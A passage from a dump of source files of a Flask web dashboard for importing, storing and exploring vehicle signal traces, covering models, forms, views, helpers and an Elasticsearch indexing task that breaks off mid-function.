number = form.number.data\n values = form.values.data\n signal.range = values\n else:\n signal.range = \" - \".join([form.min_value.data, form.max_value.data])\n return signal\n else:\n return signal\n\n\ndef make_dir(dir_path):\n \"\"\" Make recursive directories \"\"\"\n try:\n if not os.path.exists(dir_path) and not os.path.isdir(dir_path):\n os.makedirs(dir_path)\n except Exception as e:\n raise e\n\n\ndef redirect_back():\n \"\"\" Redirect back to last url \"\"\"\n return request.args.get('next') or request.referrer or url_for('index')\n\n\ndef get_current_time():\n return datetime.utcnow()\n\n\ndef pretty_date(dt, default=None):\n \"\"\" Returns string representing \"time since\" e.g. 5 hours ago etc.\"\"\"\n\n if default is None:\n default = 'just now'\n now = datetime.utcnow()\n diff = now - dt\n periods = (\n (diff.days / 365, 'year', 'years'),\n (diff.days / 30, 'month', 'months'),\n (diff.days / 7, 'week', 'weeks'),\n (diff.days, 'day', 'days'),\n (diff.seconds / 3600, 'hour', 'hours'),\n (diff.seconds / 60, 'minute', 'minutes'),\n (diff.seconds, 'second', 'seconds'),\n )\n for period, singular, plural in periods:\n if not period:\n continue\n if period == 1:\n return u'%d %s ago' % (period, singular)\n else:\n return u'%d %s ago' % (period, plural)\n return default\n\n\ndef allowed_extensions(filename):\n \"\"\" check if the file extension is allowed \"\"\"\n return '.' in filename and filename.rsplit('.', 1)[1] in DefaultConfig.ALLOWED_AVATAR_EXTENSIONS\n\n\n# ------------------------------- Form Helpers ------------------------------ #\n\n\ndef find_id(model, field_name):\n \"\"\" find the the given model by name, if not found return -1 \"\"\"\n res = model.query.filter_by(name=field_name).first()\n if res:\n return res.id\n return -1\n\n\n# ------------------------------- CSV File Helper --------------------------- #\n\nclass CSVLoader:\n ## initialize with the wanted file path\n def __init__(self, path):\n self.path = path\n\n ## give value in case of Non or empty\n def sanitize(self, val):\n if not val:\n return \"UNDEFINED\"\n return val\n\n ## load the contents of the file an generate a resulting Hash\n def load(self):\n list = []\n with open(self.path, 'rU') as f:\n r = csv.DictReader(f)\n for a in r:\n list.append(a)\n # final result\n return list\n" }, { "alpha_fraction": 0.5522975921630859, "alphanum_fraction": 0.5584245324134827, "avg_line_length": 27.92405128479004, "blob_id": "0f9e947e28c3942d307fb0c6656d396efdaac2c9", "content_id": "fb0c15712c9b6f65eb5e038a9968828befbfce01", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2285, "license_type": "no_license", "max_line_length": 79, "num_lines": 79, "path": "/app/dashboard/helpers.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "import os\nfrom time import strftime\nfrom datetime import datetime\n\nfrom flask import request, url_for\nfrom werkzeug import secure_filename\n\nfrom config.config import DefaultConfig\nfrom .constants import UPLOAD_TRACE_DIR, ALLOWED_TRACE_EXTENSIONS, TRANSFORM\n\n# ------------------------------ View Helpers ------------------------------- #\n\n\ndef upload_trace(input='file', user_id=0):\n \"\"\"Upload a trace file\"\"\"\n result = {'status': False, 'message': 'No input file'}\n if input not in request.files:\n return result\n file = request.files[input]\n if file.filename == '':\n return result\n if '.' not in file.filename:\n result['message'] = 'extension not allowed'\n return result\n if file.filename.rsplit('.', 1)[1] not in ALLOWED_TRACE_EXTENSIONS:\n result['message'] = 'extension not allowed'\n return result\n directory = \"/\".join([UPLOAD_TRACE_DIR, str(user_id)])\n directory = \"/\".join([directory, strftime(\"%Y/%m\")])\n make_dir(directory)\n file_path = \"/\".join([directory, secure_filename(file.filename)])\n file.save(file_path)\n return {'status': True, 'message': file_path}\n\n\ndef correct_value(value):\n try:\n return int(value)\n except:\n for k, v in TRANSFORM.items():\n if value == v:\n return k\n return -99999\n\n\ndef correct_time(timestamp):\n try:\n timestamp = str(timestamp)\n t = timestamp.split('.')\n return '{}{}'.format(t[0], t[1][:3].ljust(3, '0'))\n except:\n return timestamp.split('.')[0]\n\n\ndef debug(obj):\n print(\"\\n------------------ Start DEBUG ------------------\")\n for a, v in obj.__dict__.iteritems():\n print(\"\\t [{}] = {}\".format(a, v))\n print(\"------------------- END DEBUG -------------------\\n\")\n\n\ndef make_dir(dir_path):\n \"\"\" Make recursive directories \"\"\"\n try:\n if not os.path.exists(dir_path) and not os.path.isdir(dir_path):\n os.makedirs(dir_path)\n except Exception as e:\n raise e\n\n\ndef redirect_back():\n \"\"\" Redirect back to last url \"\"\"\n return request.args.get('next') or request.referrer or url_for('index')\n\n\ndef get_current_time():\n return datetime.utcnow()\n\n# ------------------------------- Form Helpers ------------------------------ #\n" }, { "alpha_fraction": 0.47676992416381836, "alphanum_fraction": 0.4800885021686554, "avg_line_length": 22.802631378173828, "blob_id": "d793e3d7e15f124c6f2db35d430664a8511ad3e1", "content_id": "2ad5fb09526a2bc9c2cb41f000c7a30e94a5c1a6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1808, "license_type": "no_license", "max_line_length": 80, "num_lines": 76, "path": "/app/importer/forms.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask_wtf import FlaskForm\nfrom flask_wtf.file import FileAllowed, FileField\nfrom wtforms import StringField, SelectField\nfrom wtforms.validators import DataRequired, Regexp, Length\nfrom .constants import DRIVER_GENDER\n\n\n# ------------------------ custom validation methods ------------------------ #\n\n\n# ---------------------------- Brand form classes ---------------------------- #\n\nclass VehicleForm(FlaskForm):\n \"\"\" Vehicle add/edit FlaskForm \"\"\"\n brand_id = SelectField(\n 'Brand',\n coerce=int,\n validators=[\n DataRequired(),\n ]\n )\n model_id = SelectField(\n 'Model',\n coerce=int,\n )\n image = FileField(\n 'Picture', validators=[\n FileAllowed(['jpg', 'jpeg', 'png', 'gif'], 'Images only plz :) ')\n ]\n )\n\nclass DriverForm(FlaskForm):\n \"\"\" Driver add/edit FlaskForm \"\"\"\n gender = SelectField(\n 'Gender',\n coerce=int,\n choices=DRIVER_GENDER,\n validators=[\n DataRequired(),\n ]\n )\n fullname = StringField(\n 'Fullname',\n validators=[\n Length(min=3, max=50),\n Regexp(\n r'^[a-zA-Z ]+$',\n message=(\"Driver name is not correct !\")\n ),\n ]\n )\n country_id = SelectField(\n 'Country',\n coerce=int,\n validators=[\n DataRequired(),\n ]\n )\n status_id = SelectField(\n 'Status',\n coerce=int,\n validators=[\n DataRequired(),\n ]\n )\n city = StringField(\n 'City',\n validators=[\n Length(min=2, max=50),\n ]\n )\n avatar = FileField(\n 'Avatar', validators=[\n FileAllowed(['jpg', 'jpeg', 'png', 'gif'], 'Images only plz :) ')\n ]\n )" }, { "alpha_fraction": 0.5849056839942932, "alphanum_fraction": 0.5933962464332581, "avg_line_length": 30.64179039001465, "blob_id": "63f3cabb0f857adfc4f77f4ef4fc76a447e153bc", "content_id": "ac9e6236fe1ae04f95f05a8d95516150a24bb834", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2120, "license_type": "no_license", "max_line_length": 81, "num_lines": 67, "path": "/app/carboard/models/platform.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "import re\nfrom datetime import datetime\nfrom unicodedata import normalize\n\nfrom marshmallow import Schema, fields\nfrom .extrasignal import ExtrasignalSchema\nfrom ..constants import DEFAULT_PHOTO\nfrom ...extensions import db\n\n# -------------------------------- Brand Model ------------------------------- #\ndef slugify(text, delim=u'-'):\n \"\"\"Generates an slightly worse ASCII-only slug.\"\"\"\n result = []\n _punct_re = re.compile(r'[\\t !\"#$%&\\'()*\\-/<=>?@\\[\\\\\\]^_`{|},.]+')\n for word in _punct_re.split(text.lower()):\n word = normalize('NFKD', word).encode('ascii', 'ignore')\n if word:\n result.append(word)\n try:\n return unicode(delim.join(result))\n except:\n d = d = bytes(delim, 'utf-8')\n return str(d.join(result).decode(\"utf-8\"))\n\nclass Platform(db.Model):\n \"\"\" Platform Model \"\"\"\n __tablename__ = 'platforms'\n\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(255))\n slug = db.Column(db.String(255))\n mimetype = db.Column(db.SmallInteger)\n logo = db.Column(db.String(255), nullable=True)\n description = db.Column(db.String(255))\n website = db.Column(db.String(255), nullable=True)\n\n #signals = db.relationship(\"Extrasignal\")\n\n status = db.Column(db.SmallInteger, default=1)\n created = db.Column(db.DateTime(), default=datetime.utcnow())\n\n def __init__(self, name, mimetype, description, website, logo=None):\n self.name = name\n self.slug = slugify(name)\n self.mimetype = mimetype\n self.logo = logo or DEFAULT_PHOTO\n self.description = description\n self.website = website\n\n def __repr__(self):\n return self.name\n\n# -------------------------------- Brand Schema ------------------------------- #\n\n\nclass PlatformSchema(Schema):\n \"\"\" Platform Schema \"\"\"\n\n id = fields.Int(dump_only=True)\n name = fields.Str()\n slug = fields.Str()\n mimetype = fields.Str()\n logo = fields.Str()\n signals = fields.Nested(ExtrasignalSchema)\n description = fields.Str()\n website = fields.Str()\n created = fields.DateTime(dump_only=True)\n" }, { "alpha_fraction": 0.48859935998916626, "alphanum_fraction": 0.49837133288383484, "avg_line_length": 18.125, "blob_id": "4bde2d6e38e73bdd165915537b349bb1bb722711", "content_id": "e2e530c42da59ec8978c412d62d99427434163c6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 307, "license_type": "no_license", "max_line_length": 79, "num_lines": 16, "path": "/config/mail.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "\n# ----------------------------- Mail Configuration -------------------------- #\n\n\nclass MailConfig(object):\n\n MAIL_USERNAME = '[email protected]'\n\n MAIL_DEFAULT_SENDER = 'vCar <[email protected]>'\n\n MAIL_SERVER = 'MAIL_SERVER', 'smtp.gmail.com'\n\n MAIL_PORT = 465\n\n MAIL_USE_SSL = True\n\n MAIL_USE_TLS = False\n" }, { "alpha_fraction": 0.4707895517349243, "alphanum_fraction": 0.4707895517349243, "avg_line_length": 42.521278381347656, "blob_id": "bab3aeb7e14c4ede4c122de4ec07fb65618ac9bc", "content_id": "769f0ff5a5496b38983f1f32af37cb680ddbf253", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 4091, "license_type": "no_license", "max_line_length": 187, "num_lines": 94, "path": "/templates/elements/sidebar.html", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "{% from \"elements/macros.html\" import is_active %}\n\n<a class=\"user-panel\" href=\"{{ url_for('importer.index') }}\">\n <div class=\"pull-left image import-icon\">\n <i class=\"fa fa-bandcamp\" aria-hidden=\"true\"></i>\n </div>\n <div class=\"pull-left info\">\n <p>IMPORT DATA</p>\n </div>\n</a>\n\n<ul class=\"sidebar-menu\">\n\n <li CLASS=\"header\">V<strong>C</strong>AR DASHBOARD</li>\n <li class=\"{ is_active('explorer.index') }}\">\n <a href=\"{{ url_for('explorer.index') }}\">\n <i class=\"fa fa-dashboard noor\"></i> <span>Explorer</span>\n </a>\n </li>\n <li class=\"{{ is_active('explorer.index') }}\">\n <a href=\"{{ url_for('explorer.index') }}\">\n <i class=\"fa fa-map-o\"></i> <span>Google Map</span>\n </a>\n </li>\n\n {# Plugin links shows here #}\n <li CLASS=\"header\">\n VCAR Extensions\n <span>\n <a class=\"see-all\" href=\"{{ url_for('carboard.indexPlugin') }}\">view all</a>\n </span>\n </li>\n\n {% if plugins_menu is not none %}\n {% for plugin in plugins_menu %}\n {% if plugin.treeview %}\n {% set status = {'treeview': '', 'menu': ''} %}\n {% for item in plugin.menu %}\n {% if request.path == url_for(item.action) %}\n {% if status.update({'treeview': 'active', 'menu': 'menu-open'}) %} {% endif %}\n {% endif %}\n {% endfor %}\n <li class=\"treeview {{ status.treeview }}\">\n <a href=\"#\">\n <i class=\"{{ plugin.iclass | default('fa fa-puzzle-piece')}}\"></i>\n <span>{{ plugin.name }}</span>\n <i class=\"fa fa-chevron-left pull-right\"></i>\n </a>\n <ul class=\"treeview-menu {{ status.menu }}\">\n {% for item in plugin.menu %}\n <li class=\"{{ is_active(item.action) }}\">\n <a href=\"{{ url_for(item.action) }}\">\n <i class=\"{{ item.iclass | default('fa fa-puzzle-piece')}}\"></i>\n {{ item.name }}\n </a>\n </li>\n {% endfor %}\n </ul>\n </li>\n {% else %}\n <li class=\"{{ is_active(plugin.menu.action) }}\">\n <a href=\"{{ url_for(plugin.menu.action | string) }}\">\n <i class=\"{{ plugin.menu.iclass | default('fa fa-puzzle-piece') }}\"></i> <span>{{ plugin.name }}</span>\n </a>\n </li>\n {% endif %}\n {% endfor %}\n {% endif %}\n\n {# Data storage #}\n <li class=\"header\">Data storage</li>\n {# <li><a href=\"{{ url_for('importer.index') }}\"><i class=\"fa fa-bandcamp\"></i> Import Manger</a></li> #}\n\n <li class=\"{{ is_active('carboard.indexPlatform') }}\">\n <a href=\"{{ url_for('carboard.indexPlatform') }}\"><i class=\"fa fa-leaf\"></i> <span>Platforms</span></a>\n </li>\n <li class=\"{{ is_active('carboard.indexDataset') }}\">\n <a href=\"{{ url_for('carboard.indexDataset') }}\"><i class=\"fa fa-cube\"></i> <span>Datasets</span></a>\n </li>\n\n <li class=\"{{ is_active('carboard.configuration') }}\">\n <a href=\"{{ url_for('carboard.configuration') }}\"><i class=\"fa fa-cogs\"></i> <span>Configuration</span></a>\n </li>\n</ul>\n\n\n<ul class=\"sidebar-menu buttom\">\n <li class=\"header big-icon\">\n <span><a href=\"#\" data-toggle=\"tooltip\" title=\"vCar License Policy\"><i class=\"fa fa-copyright\"></i></a></span>\n <span><a href=\"#\" data-toggle=\"tooltip\" title=\"About vCar\"><i class=\"fa fa-info-circle\"></i></a></span>\n <span><a href=\"#\" data-toggle=\"tooltip\" title=\"vCar Documentation\"><i class=\"fa fa-book\"></i></a></span>\n <span><a class=\"power-off\" href=\"/kill\" data-toggle=\"confirmation\" data-container=\"body\" title=\"\" data-original-title=\"Shutdonw server?\"><i class=\"fa fa-power-off\"></i></a></span>\n </li>\n</ul>\n" }, { "alpha_fraction": 0.5916727781295776, "alphanum_fraction": 0.5953250527381897, "avg_line_length": 30.471263885498047, "blob_id": "5c55a8adaaa1a077aa66f402cb1befad76c9e6d2", "content_id": "6c0b4e43d00fd8e05815268e70ce92126b3fa80d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2738, "license_type": "no_license", "max_line_length": 84, "num_lines": 87, "path": "/app/carboard/views/status.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask import (\n render_template, request, flash, redirect, url_for\n)\nfrom flask_login import login_required\n\nfrom . import carboard\nfrom ..models.status import Status\nfrom ..forms.status import StatusForm\nfrom ..helpers import paginate\nfrom ..constants import PER_PAGE\nfrom ...extensions import db\n\n\n# --------------------- /carboard/status/ : List of countries ------------------ #\n\[email protected]('/status/')\n@login_required\ndef indexStatus():\n status = Status.query.paginate(\n page=request.args.get('page', 1, type=int),\n per_page=request.args.get('per_page', PER_PAGE, type=int),\n )\n return render_template('carboard/status/index.html',\n status=status\n )\n\n# ----------------------- /carboard/status/id : Show status ------------------- #\n\n\[email protected]('/status/<int:id>', methods=['GET'])\n@login_required\ndef showStatus(id):\n status = Status.query.get_or_404(id)\n return render_template('carboard/status/show.html',\n status=status\n )\n\n# ---------------------- /carboard/status/new : Add status -------------------- #\n\n\[email protected]('/status/new', methods=['GET', 'POST'])\n@login_required\ndef newStatus():\n \"\"\" Add new status \"\"\"\n\n form = StatusForm()\n\n if form.validate_on_submit():\n status = Status(\n title=form.title.data,\n color=form.color.data\n )\n db.session.add(status)\n db.session.commit()\n flash('Status {}, added successfully.'.format(form.title.data), 'success')\n return redirect(url_for('carboard.indexStatus'))\n\n return render_template('carboard/status/new.html', form=form)\n\n# -------------------- /carboard/status/id/edit : Edit status ----------------- #\n\n\[email protected]('/status/<int:id>/edit', methods=['GET', 'POST'])\n@login_required\ndef editStatus(id):\n \"\"\" Edit existing status \"\"\"\n status = Status.query.get_or_404(id)\n form = StatusForm(obj=status)\n if form.validate_on_submit():\n form.populate_obj(status)\n db.session.commit()\n flash('Status {}, updated successfully.'.format(form.title.data), 'success')\n return redirect(url_for('carboard.showStatus', id=id))\n\n return render_template('carboard/status/edit.html', form=form, id=id)\n\n# ------------------ /carboard/status/id/delete : Delete status --------------- #\n\n\[email protected]('/status/<int:id>/delete', methods=['GET'])\n@login_required\ndef deleteStatus(id):\n status = Status.query.get_or_404(id)\n db.session.delete(status)\n db.session.commit()\n flash('Status {}, deleted successfully.'.format(status.title), 'success')\n return redirect(url_for('carboard.indexStatus'))\n" }, { "alpha_fraction": 0.6078697443008423, "alphanum_fraction": 0.6180461049079895, "avg_line_length": 34.095237731933594, "blob_id": "f7ad17644b093d58e5f1e7752838e3537308c9b3", "content_id": "cd0353a0236727f2d76d20a580cee129ac1249ed", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1474, "license_type": "no_license", "max_line_length": 79, "num_lines": 42, "path": "/app/explorer/models.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from datetime import datetime\nfrom ..extensions import db\n\n# -------------------------------- Chart Model ------------------------------ #\n\n\nclass Chart(db.Model):\n \"\"\" Chart Model \"\"\"\n __tablename__ = 'charts'\n\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(255), index=True, unique=True)\n token = db.Column(db.String(255), unique=True)\n isValid = db.Column(db.SmallInteger, default=0)\n error = db.Column(db.String(255), nullable=True)\n query = db.Column(db.String(255), nullable=True)\n\n user_id = db.Column(db.Integer, db.ForeignKey('users.id'))\n user = db.relationship('User')\n\n driver_id = db.Column(db.Integer, db.ForeignKey('drivers.id'))\n driver = db.relationship('Driver')\n\n vehicle_id = db.Column(db.Integer, db.ForeignKey('vehicles.id'))\n vehicle = db.relationship('Vehicle')\n\n status = db.Column(db.SmallInteger, default=1)\n deleted = db.Column(db.SmallInteger, default=0)\n updated = db.Column(db.DateTime(), default=datetime.utcnow())\n created = db.Column(db.DateTime(), default=datetime.utcnow())\n\n def __init__(self, name, user_id, driver_id, vehicle_id, query, **kwargs):\n self.name = name\n self.user_id = user_id\n self.driver_id = driver_id\n self.vehicle_id = vehicle_id\n self.query = query\n self.isValid = kwargs.get('isValid', True)\n self.error = kwargs.get('error', None)\n\n def __repr__(self):\n return self.name\n" }, { "alpha_fraction": 0.5019304752349854, "alphanum_fraction": 0.5135135054588318, "avg_line_length": 23.66666603088379, "blob_id": "9bc4013cd0414ad4e9e8280934202d57e1920c9e", "content_id": "62c63a06a0ac565908fadab209c6ad2cd990927e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 518, "license_type": "no_license", "max_line_length": 81, "num_lines": 21, "path": "/app/carboard/models/status.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from ...extensions import db\n\n# -------------------------------- Status Model ------------------------------- #\n\n\nclass Status(db.Model):\n \"\"\" Status Model:\n The status of users and drivers.\n \"\"\"\n __tablename__ = 'status'\n\n id = db.Column(db.Integer, primary_key=True)\n title = db.Column(db.String(255))\n color = db.Column(db.String(255))\n\n def __init__(self, title, color=\"primary\"):\n self.title = title\n self.color = color\n\n def __repr__(self):\n return self.title\n" }, { "alpha_fraction": 0.6079865097999573, "alphanum_fraction": 0.6136108040809631, "avg_line_length": 34.560001373291016, "blob_id": "eb5d5b9074a749735c0c2a6519f28e8a4c1addca", "content_id": "da4ce5b6751c6fd2768f92bb76ab932c97a0cb22", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1778, "license_type": "no_license", "max_line_length": 83, "num_lines": 50, "path": "/app/carboard/models/record.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from datetime import datetime\nfrom ...extensions import db\n\n# -------------------------------- Record Model ------------------------------- #\n\n\nclass Record(db.Model):\n \"\"\" Record Model: \"\"\"\n __tablename__ = 'records'\n\n id = db.Column(db.Integer, primary_key=True)\n\n name = db.Column(db.String(255))\n\n user_id = db.Column(db.Integer, db.ForeignKey('users.id'))\n user = db.relationship('User')\n\n drivetype_id = db.Column(db.Integer, db.ForeignKey('drivetypes.id'))\n drivetype = db.relationship('DriveType')\n\n driver_id = db.Column(db.Integer, db.ForeignKey('drivers.id'), nullable=True)\n driver = db.relationship('Driver')\n\n vehicle_id = db.Column(db.Integer, db.ForeignKey('vehicles.id'), nullable=True)\n vehicle = db.relationship('Vehicle')\n\n status_id = db.Column(db.Integer, db.ForeignKey('status.id'))\n status = db.relationship('Status')\n\n trace = db.Column(db.String(255))\n start = db.Column(db.DateTime(), nullable=True)\n end = db.Column(db.DateTime(), nullable=True)\n description = db.Column(db.String(255), nullable=True)\n created = db.Column(db.DateTime(), default=datetime.utcnow())\n\n def __init__(self, user_id, drivetype_id, trace, **kwargs):\n self.vars = kwargs\n self.user_id = user_id\n self.drivetype_id = drivetype_id\n self.trace = trace\n self.name = kwargs.get('name', \"Record\")\n self.driver_id = kwargs.get('driver_id', None)\n self.vehicle_id = kwargs.get('vehicle_id', None)\n self.status_id = kwargs.get('status_id', 1)\n self.start = kwargs.get('start', None)\n self.end = kwargs.get('end', None)\n self.description = kwargs.get('description', None)\n\n def __repr__(self):\n return '{} {}'.format(self.name, self.id)\n" }, { "alpha_fraction": 0.5675675868988037, "alphanum_fraction": 0.5675675868988037, "avg_line_length": 17, "blob_id": "5d37c636b3fec72ba9442334662758a3e7ffb043", "content_id": "30506a458cb50dd513be8e4d135acd575d1b62db", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 37, "license_type": "no_license", "max_line_length": 23, "num_lines": 2, "path": "/app/importer/platforms/openxc/views.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "\n\ndef help():\n\treturn 'Help text ...'" }, { "alpha_fraction": 0.602672278881073, "alphanum_fraction": 0.6054852604866028, "avg_line_length": 32.85714340209961, "blob_id": "3292c0c2d96d64b8845b36ab94aa7a0c209864aa", "content_id": "f198778ccc2062b6028064691674b4db4435c96a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1422, "license_type": "no_license", "max_line_length": 82, "num_lines": 42, "path": "/app/carboard/models/vehicle.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from datetime import datetime\nfrom ...extensions import db\n\n# -------------------------------- Vehicle Model ------------------------------- #\n\n\nclass Vehicle(db.Model):\n \"\"\" Vehicle Model: \"\"\"\n __tablename__ = 'vehicles'\n\n id = db.Column(db.Integer, primary_key=True)\n\n brand_id = db.Column(db.Integer, db.ForeignKey('brands.id'))\n brand = db.relationship('Brand')\n\n model_id = db.Column(db.Integer, db.ForeignKey('models.id'), nullable=True)\n model = db.relationship('Model')\n\n image = db.Column(db.String(255), nullable=True)\n\n user_id = db.Column(db.Integer, db.ForeignKey('users.id'))\n user = db.relationship('User', backref=db.backref('vehicles', lazy='dynamic'))\n\n driver_id = db.Column(db.Integer, db.ForeignKey('drivers.id'), nullable=True)\n driver = db.relationship('Driver')\n\n status_id = db.Column(db.Integer, db.ForeignKey('status.id'))\n status = db.relationship('Status')\n\n created = db.Column(db.DateTime(), default=datetime.utcnow())\n\n def __init__(self, brand_id, user_id, **kwargs):\n self.vars = kwargs\n self.brand_id = brand_id\n self.user_id = user_id\n self.model_id = kwargs.get('model_id', None)\n self.driver_id = kwargs.get('driver_id', None)\n self.status_id = kwargs.get('status_id', 1)\n self.image = kwargs.get('image')\n\n def __repr__(self):\n return '{} ({})'.format(self.brand, self.model)\n" }, { "alpha_fraction": 0.5950000286102295, "alphanum_fraction": 0.5975000262260437, "avg_line_length": 22.52941131591797, "blob_id": "6851764925d54d3196d807e4f3b06687be5550bd", "content_id": "64c545439a5f837b642b98d097c0956ec1f579e4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 400, "license_type": "no_license", "max_line_length": 64, "num_lines": 17, "path": "/app/plugins/helpers.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from os import path\nfrom flask_misaka import markdown\n\n\ndef render_md(filepath, file):\n \"\"\"\n Function takes as input a markdown file and generate\n a rendred html file as output\n \"\"\"\n try:\n with open(path.join(str(filepath[0]), str(file))) as fd:\n mkdwn = fd.read()\n html = markdown(mkdwn)\n except Exception:\n html = None\n\n return html\n" }, { "alpha_fraction": 0.5080527067184448, "alphanum_fraction": 0.5090287923812866, "avg_line_length": 32.04838562011719, "blob_id": "99144873fd56f978517dfcb43b23c18719ecfd82", "content_id": "b7fe20926541a0166600863234b20b9098414e1d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4098, "license_type": "no_license", "max_line_length": 114, "num_lines": 124, "path": "/app/importer/transformer.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask import Flask\nfrom flask_sqlalchemy import SQLAlchemy\n# import main\nfrom config.config import DefaultConfig\nfrom config.database import DatabaseConfig\nfrom ..extensions import db\nfrom ..carboard.models.platform import Platform\nfrom ..carboard.models.signal import Signal\nfrom ..carboard.models.extrasignal import Extrasignal\nfrom .helpers import slugify\nfrom .constants import ACTIVE\n# -------------------- Transformer Class : Version 0.1 ---------------------- #\n\n\nclass Transformer:\n\n def __init__(self, **kwargs):\n self.registerDB()\n\n def registerDB(self):\n self.app = Flask(__name__)\n self.app.config.from_object(DefaultConfig)\n self.app.config.from_object(DatabaseConfig)\n db = SQLAlchemy(self.app)\n\n def setPlatformById(self, platform_id):\n with self.app.app_context():\n self.platform = Platform.query.filter_by(id=platform_id, status=ACTIVE).first()\n self.signals = self.getAvailable()\n return self\n\n def setPlatformBySlug(self, platform_slug):\n with self.app.app_context():\n self.platform = Platform.query.filter_by(slug=platform_slug, status=ACTIVE).first()\n self.signals = self.getAvailable()\n return self\n \n def getAvailable(self):\n extra = self.platform.signals\n signals = {}\n for x in extra:\n if x.status == 1 and x.signal.status == 1:\n signals[str(x.name)] = {\n 'main': x.signal.name,\n 'class': x.signal.signalclass.name\n }\n return signals\n \n def getInfo(self, name, ignore=True):\n x = {}\n if name in self.signals:\n x['name'] = self.signals[name]['main']\n x['class'] = self.signals[name]['class']\n elif ignore == False:\n x['name'] = name\n x['class'] = 'unknown'\n else:\n x = None\n return x\n\n def getMain(self, extra, ignore=None):\n extra = slugify(extra)\n extrasignal = None\n with self.app.app_context():\n extrasignal = Extrasignal.query.filter_by(name=extra, platform_id=self.platform.id).first()\n ignore = self.ignore if ignore is None else ignore\n\n if extrasignal is not None:\n main = extrasignal.signal\n if main.status == ACTIVE and extrasignal.status == ACTIVE:\n return {\n 'name': main.name,\n 'main': True,\n 'class': main.signalclass.name,\n 'error': None\n }\n elif not ignore:\n return {\n 'name': main.name,\n 'main': True,\n 'class': main.signalclass.name,\n 'error': 'Signal `{}` is disabled but added to database anyway ! '.format(extra)\n }\n else:\n return {\n 'name': None,\n 'main': None,\n 'class': None,\n 'error': 'Signal `{}` is not currently supported'.format(extra)\n }\n else:\n if not ignore:\n msg = extrasignal\n return {\n 'name': extra,\n 'main': False,\n 'class': 'unknown',\n 'error': 'Signal `{}` is not currently supported but added to database anyway !'.format(extra)\n }\n else:\n return {\n 'name': None,\n 'main': None,\n 'class': None,\n 'error': 'Signal `{}` is not currently supported'.format(extra)\n }\n\n def getCorrectValue(self, value):\n return value;\n\n def __str__(self):\n str = \"\"\n for k, v in self.vars.items():\n str = str + \"{} : {} | \".format(k, v)\n return str\n\n def showVars(self):\n print(self.vars)\n\n def setVar(self, k, v):\n self.vars[k] = v\n\n def getVar(self, k):\n return self.vars.get(k, None)\n" }, { "alpha_fraction": 0.43885281682014465, "alphanum_fraction": 0.44426408410072327, "avg_line_length": 33.867923736572266, "blob_id": "2113de0f69cd75a955e28ff99dde661211825477", "content_id": "5f973634629c2ecd0b0c466091c4030f353cec56", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3696, "license_type": "no_license", "max_line_length": 79, "num_lines": 106, "path": "/app/dashboard/tasks.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "import redis\nimport json\nfrom time import strftime, sleep\nfrom datetime import datetime\nfrom elasticsearch import Elasticsearch, helpers\nfrom .constants import BULK_SIZE\nfrom .helpers import correct_value, correct_time\nred = redis.StrictRedis(host='localhost', port=6379, db=0)\n\n\ndef task_info(name='info'):\n pubsub = red.pubsub()\n pubsub.subscribe(name)\n for message in pubsub.listen():\n # print(\"[+] Message: {}\".format(message))\n yield 'data: {}\\n\\n'.format(message['data'])\n# ---------------------------- Process openxc task -------------------------- #\n\n\ndef openxc_task(traces, user_id):\n try:\n es = Elasticsearch([{\n 'host': 'localhost',\n 'port': 9200\n }])\n index = \"openxc\"\n type = \"driver_{}\".format(user_id)\n sleep(2)\n red.publish('info', 'Inisializing Elasticsearch ...')\n es.cluster.health(wait_for_status='yellow', request_timeout=1)\n\n red.publish('info', 'creating index if it dosn\\'t exist ...')\n mapping = {\n type: {\n \"properties\": {\n \"name\": {\n \"type\": \"string\",\n \"index\": \"not_analyzed\"\n },\n \"value\": {\n \"type\": \"string\",\n \"index\": \"not_analyzed\"\n },\n \"timestamp\": {\n \"type\": \"date\"\n }\n }\n }\n }\n # es.indices.delete(index=index, ignore=404)\n if not es.indices.exists(index=index):\n es.indices.create(index=index, ignore=400)\n es.indices.put_mapping(index=index, doc_type=type, body=mapping)\n\n for trace in traces:\n i = 1\n red.publish('info', 'indexing the file: {}'.format(trace))\n actions = []\n with open(trace, 'r') as f:\n for line in f:\n source = json.loads(line)\n action = {\n \"_index\": index,\n \"_type\": type,\n \"_id\": i,\n \"_source\": {\n \"name\": source.get('name'),\n # \"value\": correct_value(source.get('value')),\n \"value\": source.get('value'),\n \"timestamp\": correct_time(source.get('timestamp'))\n }\n }\n actions.append(action)\n if i % BULK_SIZE == 0:\n helpers.bulk(es, actions)\n 